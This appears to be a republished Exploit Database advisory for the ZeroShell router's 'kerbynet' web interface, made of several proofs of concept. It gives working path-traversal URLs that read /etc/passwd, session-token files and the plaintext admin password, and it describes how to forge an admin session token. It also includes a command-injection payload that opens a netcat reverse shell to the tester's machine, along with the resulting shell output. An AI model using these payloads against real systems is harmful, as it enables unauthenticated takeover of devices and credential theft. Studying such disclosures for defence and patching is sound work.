ZeroShell ‘cgi-bin/kerbynet’ – Local File Disclosure

Exploit Database
132 阅读

作者： Yann CAM

日期： 2013-09-25
类别：
- webapps
平台：
- linux
来源：https://www.exploit-db.com/exploits/28558/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

Introduction to the PoC :

======================================================================

In this distribution, the managment website is a binary file named "kerbynet" interpreted in cgi-bin directory here :

/cdrom/usr/local/apache2/cgi-bin/kerbynet

So all url look like this :

http://www.example.com/cgi-bin/kerbynet?Section=<SECTION>&STk=<SESSION_TOKEN>&Action=<ACTION>&<PARAM>=<ADDITIONAL PARAM>

This binary file routes the params (GET/POST) to dedicated script (mainly in sh) in the /root/kerbynet.cgi/scripts/ directory.

There are also all templates html file located in /root/kerbynet.cgi/template/ directory.

For all main administration action, the admin user need to be loggued (Unix account admin/zeroshell by default for console, SSH and WebGUI). A session token is needed through each administration page.

There are few pages which can be requested without an authentification token like the GPL license, X.509 certificates, etc.

The WebGUI running with the "apache" user. This user is restricted and can only run a white list of command and all script sh linked to the kerbynet.

To see the administratives rights of this user, cat the file :

cat /root/kerbynet.cgi/template.cfg/sudoers

Many of these scripts can be exploited to execute arbitrarly command in the system through the WebGUI. For the next part of this PoC, only one script is exploited to gain a full remote reverse shell.

Proof of Concept 1 : Local File Disclosure

======================================================================

About's url is the following :

http://www.example.com/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=About

As we can see, this url doesn't need a token session to print the GPN license of the distribution. The license is located in the file :

/root/kerbynet.cgi/template/About

So we can deduce that this url can be used to a local file disclosure vulnerability.

PoC :

http://www.example.com/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../etc/passwd

Results :

root:x:0:0:root:/root:/bin/bash

admin:x:0:0:root:/root:/root/kerbynet.cgi/scripts/localman

apache:x:1000:100::/home/apache:

nobody:x:1001:100::/home/nobody:

sshd:x:50000:100::/home/sshd:/bin/false

bin:x:1:1::/home/bin:

quagga:x:0:100::/home/quagga:

havp:x:50002:50002:HTTP AntiVirus Proxy:/home/havp:/bin/false

Proof of Concept 2 : Generate a valid admin session token

======================================================================

As we said, all administration request need a valid session token named "STk".

This variable is used in GET url as param, and in hidden input field of form too.

The session ID looklike this :

STk=9c00c5f06808b45a89e858d1954088f118f188a7

If we focus on the generation of the session ID in scripts, we can find:

/root/kerbynet.cgi/scripts/net_showinterface:STk="<code>rand</code><code>cat /tmp/STk_Admin 2>/dev/null</code>"

/root/kerbynet.cgi/scripts/qos_showinterface:STk="<code>rand</code><code>cat /tmp/STk_Admin 2>/dev/null</code>"

/root/kerbynet.cgi/scripts/vpn_list:STk="<code>rand</code><code>cat /tmp/STk_Admin 2>/dev/null</code>"

/root/kerbynet.cgi/scripts/net_list:STk="<code>rand</code><code>cat /tmp/STk_Admin 2>/dev/null</code>"

/root/kerbynet.cgi/scripts/qos_list:STk="<code>rand</code><code>cat /tmp/STk_Admin 2>/dev/null</code>"

/root/kerbynet.cgi/scripts/storage_netDB:STk="<code>rand</code><code>cat /tmp/STk_Admin 2>/dev/null</code>"

The "rand" command compute a random number with 8 digits, and the next part of the session ID depends on the content of the file /tmp/STk_Admin.

This file /tmp/STk_Admin, is only created if an admin was loggued. With the previous local file disclosure vulnerability, we can retrieve the content of this file easily.

If the file doesn't exist, you have to wait that a legitimate administrator connect to the WebGUI.

PoC :

http://www.example.com/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../tmp/STk_Admin

Result :

6808b45a89e858d1954088f118f188a7

This hash corresponds to the last 32 chars of the valid STk. So we can forge a valid arbitrarly admin session token from this hash prepended with 8 random digits:

Valid admin session ID generated :

133713376808b45a89e858d1954088f118f188a7

This token can be injected into known urls to access without credentials to administration menus.

After normal and legitimate login, the page printed is composed of frame. To get each menus pages, you can used these following urls :

- Left menu

http://www.example.com/cgi-bin/kerbynet?STk=<GENERATED_SESSION_ID>&Action=Render&Object=sx

- Utilities menu

http://www.example.com/cgi-bin/kerbynet?STk=<GENERATED_SESSION_ID>&Action=Render&Object=utilities_menu

- Head menu (reboot/shutdown router)

http://www.example.com/cgi-bin/kerbynet?STk=<GENERATED_SESSION_ID>&Action=Render&Object=head

Proof of Concept 3 : Gain a full reverse-shell without any credentials

======================================================================

At this point, we consider that you have a valid admin session ID generated with the previous method.

With this token, we can get a full reverse-shell on the distribution, without login.

First, we put a netcat in listening mod on a dedicated port in the pentester machine :

#>nc -l -vv -p [PENTESTER_PORT]

Next, run the following script in your browser after repace [PENTESTER_IP], [PENTESTER_PORT], www.example.com and [GENERATED_SESSION_ID] with yours :

<html>

<body>

<input type='hidden' name='What' value='yanncam" localhost && rm -f /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc [PENTESTER_IP] [PENTESTER_PORT] > /tmp/x #' />

</form>

</body>

</html>

A full reverse-shell is gain in your netcat instance :

listening on [any] 1337 ...

192.168.0.75: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.2] from (UNKNOWN) [192.168.0.75] 41145: NO_DATA

sh: no job control in this shell

sh-2.05b$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

admin:x:0:0:root:/root:/root/kerbynet.cgi/scripts/localman

apache:x:1000:100::/home/apache:

nobody:x:1001:100::/home/nobody:

sshd:x:50000:100::/home/sshd:/bin/false

bin:x:1:1::/home/bin:

quagga:x:0:100::/home/quagga:

havp:x:50002:50002:HTTP AntiVirus Proxy:/home/havp:/bin/false

Netcat is provided in the Zeroshell distribution, but without the available flag -c or -e. So the technic used to send the shell is with a fifo file specially created.

To see more information about reverse-shell one-liner, refer to : http://www.asafety.fr/vuln-exploit-poc/pentesting-etablir-un-reverse-shell-en-une-ligne/ (in french).

* A demonstration video has been realised as PoC here : https://www.youtube.com/watch?v=fgbfVBr65e4

Proof of Concept 4 : Retrieve admin password in plaintext

======================================================================

The script used to change the admin password through the WebGUI is located here :

/root/kerbynet.cgi/scripts/cpw

If the change password mode is to check the old password before, this line il executed in the script :

if [ "$CPW" != "<code>cat $REGISTER/system/ldap/rootpw 2>/dev/null</code>" ] ; then

So the current password is located in $REGISTER/system/ldap/rootpw, where "$REGISTER" has value "/var/register" (defined in /etc/kerbynet.conf).

Consequently, with the local file disclosure vulnerability describe above, we can retrieve the admin password in plaintext without any authentification with this url :

PoC :

http://www.example.com/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../var/register/system/ldap/rootpw

Result (by default) :

zeroshell